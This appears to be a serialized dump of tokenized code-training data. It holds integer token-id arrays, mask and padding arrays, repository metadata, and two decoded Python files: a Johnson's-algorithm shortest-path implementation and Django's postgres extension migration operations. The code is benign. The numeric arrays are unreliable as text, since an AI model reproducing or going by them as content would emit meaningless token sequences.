5738, 1634, 2334, 4815, 1634, 5749, 4141, 12, 9704, 8036, 199, 3, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 3, 3820, 402, 1584, 626, 1077, 440, 506, 27659, 370, 199, 1649, 63, 4609, 63, 6348, 13965, 63, 9472, 275, 359, 272, 298, 21890, 15, 4603, 15, 2520, 23392, 15, 2520, 23392, 4603, 3908, 14, 72, 401, 272, 298, 21890, 15, 4603, 15, 2520, 23392, 15, 2520, 23392, 3722, 3908, 14, 2055, 401, 272, 298, 21890, 15, 4603, 15, 2520, 23392, 15, 2520, 23392, 3722, 3908, 14, 72, 401, 272, 298, 21890, 15, 4603, 15, 2520, 23392, 15, 2520, 23392, 3722, 3908, 63, 2796, 14, 2055, 937, 199, 199, 318, 485, 3761, 2567, 8, 1210, 63, 1246, 304, 523, 408, 3407, 314, 4190, 1406, 13156, 1041, 523, 327, 15506, 1263, 5361, 1329, 687, 1343, 402, 2199, 370, 314, 1453, 5361, 523, 1453, 63, 3403, 275, 1109, 8, 1210, 63, 1246, 14, 521, 14, 6205, 3508, 57, 1333, 523, 4370, 63, 18431, 275, 334, 495, 8, 83, 9, 367, 308, 315, 10822, 8, 21120, 8, 15431, 12, 1453, 63, 3403, 435, 413, 1724, 523, 17399, 63, 264, 275, 16746, 435, 21590, 904, 8, 6541, 63, 18431, 9, 435, 16107, 523, 17399, 63, 264, 275, 1543, 83, 8, 306, 5, 83, 5547, 7, 450, 334, 18431, 63, 264, 12, 17399, 63, 264, 9, 523, 4190, 63, 1291, 275, 334, 489, 519, 1370, 15279, 1212, 468, 2361, 60, 78, 7, 489, 519, 1370, 15279, 1898, 2818, 3403, 9, 83, 12, 31, 4475, 3277, 60, 3134, 78, 7, 489, 519, 24898, 8995, 78, 7, 489, 519, 1370, 15279, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 7, 267, 519, 1154, 78, 7, 489, 519, 1370, 15279, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 283, 267, 519, 7, 1530, 7647, 3427, 78, 7, 489, 519, 24898, 8995, 78, 7, 489, 519, 1370, 15279, 413, 4537, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 283, 267, 519, 7, 20556, 4202, 78, 7, 489, 519, 1370, 15279, 259, 642, 769, 402, 3704, 436, 314, 2569, 6450, 60, 3134, 78, 7, 489, 519, 1370, 15279, 499, 4537, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 283, 267, 519, 7, 7307, 4245, 4202, 78, 7, 489, 519, 1370, 15279, 259, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 283, 267, 519, 5121, 679, 760, 425, 60, 78, 7, 489, 519, 1370, 15279, 259, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 60, 3134, 78, 7, 489, 519, 1370, 15279, 650, 4537, 710, 536, 402, 314, 4132, 1443, 440, 506, 1202, 370, 10692, 503, 10016, 283, 267, 519, 7, 13336, 60, 78, 7, 489, 519, 1370, 15279, 259, 7131, 687, 642, 2032, 1928, 2488, 6791, 5313, 283, 267, 519, 7, 5693, 60, 3134, 78, 7, 489, 519, 24898, 8995, 78, 7, 489, 519, 1370, 15279, 5749, 4141, 2281, 7049, 6515, 2334, 17632, 971, 25502, 64, 1179, 2281, 24908, 7, 2401, 1821, 283, 267, 519, 7, 1438, 5786, 1549, 5292, 60, 78, 7, 489, 519, 1370, 15279, 2990, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 5292, 2990, 283, 267, 519, 7, 3359, 60, 78, 7, 489, 519, 1370, 15279, 3169, 2401, 3092, 2381, 437, 3115, 3104, 9315, 283, 267, 519, 7, 6178, 8766, 1149, 4537, 1621, 4825, 60, 78, 7, 489, 519, 1370, 15279, 6461, 7000, 2334, 17632, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 283, 267, 519, 7, 25205, 9678, 4202, 78, 7, 489, 519, 1370, 15279, 8820, 12, 9836, 12, 1549, 9110, 6736, 25445, 6446, 12, 283, 267, 519, 7, 12728, 2845, 5471, 2296, 4202, 78, 7, 489, 519, 1370, 15279, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 7126, 12, 1549, 283, 267, 519, 7, 2514, 9037, 3779, 78, 7, 489, 519, 1370, 15279, 1549, 9748, 9831, 31736, 9802, 9817, 2401, 5258, 1821, 9815, 1634, 283, 267, 519, 7, 2673, 2477, 4202, 78, 7, 489, 519, 1370, 15279, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 25445, 6446, 283, 267, 519, 7, 6388, 9179, 1549, 60, 78, 7, 489, 519, 1370, 15279, 7334, 31736, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 1634, 5749, 4141, 12, 283, 267, 519, 7, 37, 8253, 8036, 60, 78, 7, 489, 519, 1370, 15279, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 60, 3134, 78, 7, 523, 776, 450, 469, 489, 283, 3403, 356, 17399, 63, 264, 12, 523, 789, 523, 372, 4190, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Endika/Algorithm-Implementations
Johnson_Search/Python/paveldedik/johnson.py
23
2103
def initialize(G, s): """Initialize graph G and vertex s.""" V, E = G d = {v: float('inf') for v in V} p = {v: None for v in V} d[s] = 0 return d, p def bellman_ford(G, w, s): """Bellman-Ford's algorithm for shortest-path search. Expects oriented graph. Parameter G is a graph represented as a tuple of vertexes and edges. The parametr w represents weights of each edge of the graph G (w: E -> R). """ d, p = initialize(G, s) V, E = G for _ in range(len(V)-1): for (u, v) in E: if d[v] > d[u] + w[u, v]: d[v] = d[u] + w[u, v] p[v] = u for (u, v) in E: if d[v] > d[u] + w[u, v]: raise RuntimeError('Graph contains negative cycles.') return d, p def dijkstra(G, w, s): """Dijkstra's algorithm for shortest-path search.""" d, p = initialize(G, s) V, E = G S = set(V) while S: u = min(S, key=lambda x: d[x]) S = S - {u} for (t, v) in E: if t == u and d[v] > d[u] + w[u, v]: d[v] = d[u] + w[u, v] p[v] = u return d, p def johnson(G, w): """Johnson's algorithm for shortest-path search between all vertexes of the graph G. G is represented with an adjacancy list. The parameter w represents weights of edges. """ V, E = G G_ = (V + ['S'], E + [('S', v) for v in V]) V_, E_ = G_ w_ = dict(w.items() + [((u, v), 0) for (u, v) in E_ if u == 'S']) d, p = bellman_ford(G_, w_, 'S') h = {} for v in V: h[v] = d[v] w__ = {} for (u, v) in E: w__[u, v] = w[u, v] + h[u] - h[v] D = {(u, v): None for u in V for v in V} for u in V: d_, p_ = dijkstra(G, w__, u) for v in V: D[u, v] = d_[v] + h[v] - h[u] return D if __name__ == '__main__': V = ['A', 'B', 'C', 'D'] # vertexes E = [('A', 'B'), ('B', 'C'), ('C', 'D'), ('D', 'B')] # edges w = {('A', 'B'): 1, ('B', 'C'): 3, ('B', 'D'): 1, ('C', 'D'): 8, ('D', 'B'): -2} # weights print johnson((V, E), w)
mit
[ 318, 8265, 8, 39, 12, 308, 304, 272, 408, 9345, 3343, 598, 436, 12759, 308, 1041, 272, 812, 12, 662, 275, 598, 272, 366, 275, 469, 86, 26, 2069, 360, 4904, 358, 367, 373, 315, 812, 93, 272, 299, 275, 469, 86, 26, 488, 367, 373, 315, 812, 93, 272, 366, 59, 83, 61, 275, 378, 272, 372, 366, 12, 299, 421, 199, 318, 330, 1697, 1237, 63, 18090, 8, 39, 12, 336, 12, 308, 304, 272, 408, 34, 1697, 1237, 13, 1858, 68, 1159, 5563, 367, 26564, 13, 515, 2754, 14, 15100, 83, 503, 24555, 471, 3343, 14, 272, 12009, 598, 365, 282, 3343, 11159, 465, 282, 2008, 402, 12759, 397, 436, 8207, 14, 710, 272, 18117, 454, 336, 8469, 4931, 402, 1924, 6275, 402, 314, 3343, 598, 334, 87, 26, 662, 1035, 820, 680, 272, 408, 272, 366, 12, 299, 275, 8265, 8, 39, 12, 308, 9, 272, 812, 12, 662, 275, 598, 272, 367, 485, 315, 1425, 8, 552, 8, 54, 7216, 17, 304, 267, 367, 334, 85, 12, 373, 9, 315, 662, 26, 288, 340, 366, 59, 86, 61, 690, 366, 59, 85, 61, 435, 336, 59, 85, 12, 373, 2189, 355, 366, 59, 86, 61, 275, 366, 59, 85, 61, 435, 336, 59, 85, 12, 373, 61, 355, 299, 59, 86, 61, 275, 399, 272, 367, 334, 85, 12, 373, 9, 315, 662, 26, 267, 340, 366, 59, 86, 61, 690, 366, 59, 85, 61, 435, 336, 59, 85, 12, 373, 2189, 288, 746, 6064, 360, 4578, 3509, 6946, 19001, 2659, 272, 372, 366, 12, 299, 421, 199, 318, 487, 17421, 14183, 8, 39, 12, 336, 12, 308, 304, 272, 408, 1341, 17421, 14183, 1159, 5563, 367, 26564, 13, 515, 2754, 1041, 272, 366, 12, 299, 275, 8265, 8, 39, 12, 308, 9, 272, 812, 12, 662, 275, 598, 272, 428, 275, 663, 8, 54, 9, 272, 1830, 428, 26, 267, 399, 275, 1748, 8, 51, 12, 790, 29, 2734, 671, 26, 366, 59, 88, 566, 267, 428, 275, 428, 446, 469, 85, 93, 267, 367, 334, 84, 12, 373, 9, 315, 662, 26, 288, 340, 307, 508, 399, 436, 366, 59, 86, 61, 690, 366, 59, 85, 61, 435, 336, 59, 85, 12, 373, 2189, 355, 366, 59, 86, 61, 275, 366, 59, 85, 61, 435, 336, 59, 85, 12, 373, 61, 355, 299, 59, 86, 61, 275, 399, 272, 372, 366, 12, 299, 421, 199, 318, 5225, 25338, 265, 8, 39, 12, 336, 304, 272, 408, 5691, 25338, 265, 1159, 5563, 367, 26564, 13, 515, 2754, 3382, 1006, 12759, 397, 402, 272, 314, 3343, 598, 14, 598, 365, 11159, 543, 376, 1503, 9299, 9844, 769, 14, 710, 2725, 336, 272, 8469, 4931, 402, 8207, 14, 272, 408, 272, 812, 12, 662, 275, 598, 272, 598, 63, 275, 334, 54, 435, 788, 51, 995, 662, 435, 4274, 51, 297, 373, 9, 367, 373, 315, 812, 566, 272, 812, 3131, 662, 63, 275, 598, 63, 272, 336, 63, 275, 1211, 8, 87, 14, 1744, 342, 435, 359, 1332, 85, 12, 373, 395, 378, 9, 367, 334, 85, 12, 373, 9, 315, 662, 63, 340, 399, 508, 283, 51, 1105, 272, 366, 12, 299, 275, 330, 1697, 1237, 63, 18090, 8, 39, 3131, 336, 3131, 283, 51, 358, 272, 394, 275, 1052, 272, 367, 373, 315, 812, 26, 267, 394, 59, 86, 61, 275, 366, 59, 86, 61, 272, 336, 363, 275, 1052, 272, 367, 334, 85, 12, 373, 9, 315, 662, 26, 267, 336, 12298, 85, 12, 373, 61, 275, 336, 59, 85, 12, 373, 61, 435, 394, 59, 85, 61, 446, 394, 59, 86, 61, 272, 577, 275, 26458, 85, 12, 373, 304, 488, 367, 399, 315, 812, 367, 373, 315, 812, 93, 272, 367, 399, 315, 812, 26, 267, 366, 3131, 299, 63, 275, 487, 17421, 14183, 8, 39, 12, 336, 3108, 399, 9, 267, 367, 373, 315, 812, 26, 288, 577, 59, 85, 12, 373, 61, 275, 366, 9925, 86, 61, 435, 394, 59, 86, 61, 446, 394, 59, 85, 61, 272, 372, 577, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 812, 275, 788, 33, 297, 283, 34, 297, 283, 35, 297, 283, 36, 418, 221, 327, 12759, 397, 272, 662, 275, 4274, 33, 297, 283, 34, 659, 661, 34, 297, 283, 35, 659, 661, 35, 297, 283, 36, 659, 661, 36, 297, 283, 34, 5440, 221, 327, 8207, 272, 336, 275, 469, 360, 33, 297, 283, 34, 735, 413, 12, 661, 34, 297, 283, 35, 735, 650, 12, 661, 34, 297, 283, 36, 735, 413, 12, 268, 661, 35, 297, 283, 36, 735, 1695, 12, 661, 36, 297, 283, 34, 735, 446, 18, 93, 221, 327, 4931, 272, 870, 5225, 25338, 265, 1332, 54, 12, 662, 395, 336, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 8265, 8, 39, 12, 308, 304, 272, 408, 9345, 3343, 598, 436, 12759, 308, 1041, 272, 812, 12, 662, 275, 598, 272, 366, 275, 469, 86, 26, 2069, 360, 4904, 358, 367, 373, 315, 812, 93, 272, 299, 275, 469, 86, 26, 488, 367, 373, 315, 812, 93, 272, 366, 59, 83, 61, 275, 378, 272, 372, 366, 12, 299, 421, 199, 318, 330, 1697, 1237, 63, 18090, 8, 39, 12, 336, 12, 308, 304, 272, 408, 34, 1697, 1237, 13, 1858, 68, 1159, 5563, 367, 26564, 13, 515, 2754, 14, 15100, 83, 503, 24555, 471, 3343, 14, 272, 12009, 598, 365, 282, 3343, 11159, 465, 282, 2008, 402, 12759, 397, 436, 8207, 14, 710, 272, 18117, 454, 336, 8469, 4931, 402, 1924, 6275, 402, 314, 3343, 598, 334, 87, 26, 662, 1035, 820, 680, 272, 408, 272, 366, 12, 299, 275, 8265, 8, 39, 12, 308, 9, 272, 812, 12, 662, 275, 598, 272, 367, 485, 315, 1425, 8, 552, 8, 54, 7216, 17, 304, 267, 367, 334, 85, 12, 373, 9, 315, 662, 26, 288, 340, 366, 59, 86, 61, 690, 366, 59, 85, 61, 435, 336, 59, 85, 12, 373, 2189, 355, 366, 59, 86, 61, 275, 366, 59, 85, 61, 435, 336, 59, 85, 12, 373, 61, 355, 299, 59, 86, 61, 275, 399, 272, 367, 334, 85, 12, 373, 9, 315, 662, 26, 267, 340, 366, 59, 86, 61, 690, 366, 59, 85, 61, 435, 336, 59, 85, 12, 373, 2189, 288, 746, 6064, 360, 4578, 3509, 6946, 19001, 2659, 272, 372, 366, 12, 299, 421, 199, 318, 487, 17421, 14183, 8, 39, 12, 336, 12, 308, 304, 272, 408, 1341, 17421, 14183, 1159, 5563, 367, 26564, 13, 515, 2754, 1041, 272, 366, 12, 299, 275, 8265, 8, 39, 12, 308, 9, 272, 812, 12, 662, 275, 598, 272, 428, 275, 663, 8, 54, 9, 272, 1830, 428, 26, 267, 399, 275, 1748, 8, 51, 12, 790, 29, 2734, 671, 26, 366, 59, 88, 566, 267, 428, 275, 428, 446, 469, 85, 93, 267, 367, 334, 84, 12, 373, 9, 315, 662, 26, 288, 340, 307, 508, 399, 436, 366, 59, 86, 61, 690, 366, 59, 85, 61, 435, 336, 59, 85, 12, 373, 2189, 355, 366, 59, 86, 61, 275, 366, 59, 85, 61, 435, 336, 59, 85, 12, 373, 61, 355, 299, 59, 86, 61, 275, 399, 272, 372, 366, 12, 299, 421, 199, 318, 5225, 25338, 265, 8, 39, 12, 336, 304, 272, 408, 5691, 25338, 265, 1159, 5563, 367, 26564, 13, 515, 2754, 3382, 1006, 12759, 397, 402, 272, 314, 3343, 598, 14, 598, 365, 11159, 543, 376, 1503, 9299, 9844, 769, 14, 710, 2725, 336, 272, 8469, 4931, 402, 8207, 14, 272, 408, 272, 812, 12, 662, 275, 598, 272, 598, 63, 275, 334, 54, 435, 788, 51, 995, 662, 435, 4274, 51, 297, 373, 9, 367, 373, 315, 812, 566, 272, 812, 3131, 662, 63, 275, 598, 63, 272, 336, 63, 275, 1211, 8, 87, 14, 1744, 342, 435, 359, 1332, 85, 12, 373, 395, 378, 9, 367, 334, 85, 12, 373, 9, 315, 662, 63, 340, 399, 508, 283, 51, 1105, 272, 366, 12, 299, 275, 330, 1697, 1237, 63, 18090, 8, 39, 3131, 336, 3131, 283, 51, 358, 272, 394, 275, 1052, 272, 367, 373, 315, 812, 26, 267, 394, 59, 86, 61, 275, 366, 59, 86, 61, 272, 336, 363, 275, 1052, 272, 367, 334, 85, 12, 373, 9, 315, 662, 26, 267, 336, 12298, 85, 12, 373, 61, 275, 336, 59, 85, 12, 373, 61, 435, 394, 59, 85, 61, 446, 394, 59, 86, 61, 272, 577, 275, 26458, 85, 12, 373, 304, 488, 367, 399, 315, 812, 367, 373, 315, 812, 93, 272, 367, 399, 315, 812, 26, 267, 366, 3131, 299, 63, 275, 487, 17421, 14183, 8, 39, 12, 336, 3108, 399, 9, 267, 367, 373, 315, 812, 26, 288, 577, 59, 85, 12, 373, 61, 275, 366, 9925, 86, 61, 435, 394, 59, 86, 61, 446, 394, 59, 85, 61, 272, 372, 577, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 812, 275, 788, 33, 297, 283, 34, 297, 283, 35, 297, 283, 36, 418, 221, 327, 12759, 397, 272, 662, 275, 4274, 33, 297, 283, 34, 659, 661, 34, 297, 283, 35, 659, 661, 35, 297, 283, 36, 659, 661, 36, 297, 283, 34, 5440, 221, 327, 8207, 272, 336, 275, 469, 360, 33, 297, 283, 34, 735, 413, 12, 661, 34, 297, 283, 35, 735, 650, 12, 661, 34, 297, 283, 36, 735, 413, 12, 268, 661, 35, 297, 283, 36, 735, 1695, 12, 661, 36, 297, 283, 34, 735, 446, 18, 93, 221, 327, 4931, 272, 870, 5225, 25338, 265, 1332, 54, 12, 662, 395, 336, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
LarryHillyer/PoolHost
PoolHost/env/Lib/site-packages/django/contrib/postgres/operations.py
46
1527
from django.contrib.postgres.signals import register_hstore_handler from django.db.migrations.operations.base import Operation class CreateExtension(Operation): reversible = True def __init__(self, name): self.name = name def state_forwards(self, app_label, state): pass def database_forwards(self, app_label, schema_editor, from_state, to_state): if schema_editor.connection.vendor != 'postgresql': return schema_editor.execute("CREATE EXTENSION IF NOT EXISTS %s" % schema_editor.quote_name(self.name)) def database_backwards(self, app_label, schema_editor, from_state, to_state): schema_editor.execute("DROP EXTENSION %s" % schema_editor.quote_name(self.name)) def describe(self): return "Creates extension %s" % self.name class HStoreExtension(CreateExtension): def __init__(self): self.name = 'hstore' def database_forwards(self, app_label, schema_editor, from_state, to_state): super(HStoreExtension, self).database_forwards(app_label, schema_editor, from_state, to_state) # Register hstore straight away as it cannot be done before the # extension is installed, a subsequent data migration would use the # same connection register_hstore_handler(schema_editor.connection) class UnaccentExtension(CreateExtension): def __init__(self): self.name = 'unaccent' class TrigramExtension(CreateExtension): def __init__(self): self.name = 'pg_trgm'
gpl-3.0
[ 504, 1639, 14, 2828, 14, 10675, 14, 10458, 492, 2274, 63, 72, 1617, 63, 2232, 199, 504, 1639, 14, 697, 14, 7685, 14, 8170, 14, 1095, 492, 17954, 421, 199, 533, 2790, 6382, 8, 6044, 304, 272, 29465, 1164, 275, 715, 339, 347, 636, 826, 721, 277, 12, 536, 304, 267, 291, 14, 354, 275, 536, 339, 347, 1174, 63, 19159, 8, 277, 12, 1145, 63, 1302, 12, 1174, 304, 267, 986, 339, 347, 3050, 63, 19159, 8, 277, 12, 1145, 63, 1302, 12, 4177, 63, 7515, 12, 687, 63, 929, 12, 370, 63, 929, 304, 267, 340, 4177, 63, 7515, 14, 2105, 14, 9884, 1137, 283, 15437, 356, 288, 372, 267, 4177, 63, 7515, 14, 2526, 480, 8366, 20203, 742, 3579, 8036, 2845, 23875, 450, 83, 2, 450, 4177, 63, 7515, 14, 3513, 63, 354, 8, 277, 14, 354, 430, 339, 347, 3050, 63, 22269, 8, 277, 12, 1145, 63, 1302, 12, 4177, 63, 7515, 12, 687, 63, 929, 12, 370, 63, 929, 304, 267, 4177, 63, 7515, 14, 2526, 480, 14764, 20203, 742, 3579, 450, 83, 2, 450, 4177, 63, 7515, 14, 3513, 63, 354, 8, 277, 14, 354, 430, 339, 347, 13743, 8, 277, 304, 267, 372, 298, 10607, 3329, 450, 83, 2, 450, 291, 14, 354, 421, 199, 533, 869, 5502, 6382, 8, 2499, 6382, 304, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 354, 275, 283, 72, 1617, 7, 339, 347, 3050, 63, 19159, 8, 277, 12, 1145, 63, 1302, 12, 4177, 63, 7515, 12, 687, 63, 929, 12, 370, 63, 929, 304, 267, 1613, 8, 40, 5502, 6382, 12, 291, 680, 4659, 63, 19159, 8, 571, 63, 1302, 12, 4177, 63, 7515, 12, 687, 63, 929, 12, 370, 63, 929, 9, 267, 327, 11828, 394, 1617, 23669, 13437, 465, 652, 3913, 506, 4224, 2544, 314, 267, 327, 3329, 365, 4903, 12, 282, 13372, 666, 8367, 3955, 675, 314, 267, 327, 2011, 1950, 267, 2274, 63, 72, 1617, 63, 2232, 8, 3629, 63, 7515, 14, 2105, 9, 421, 199, 533, 1910, 18028, 6382, 8, 2499, 6382, 304, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 354, 275, 283, 324, 18028, 7, 421, 199, 533, 12480, 1679, 6382, 8, 2499, 6382, 304, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 354, 275, 283, 4198, 63, 454, 13844, 7, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 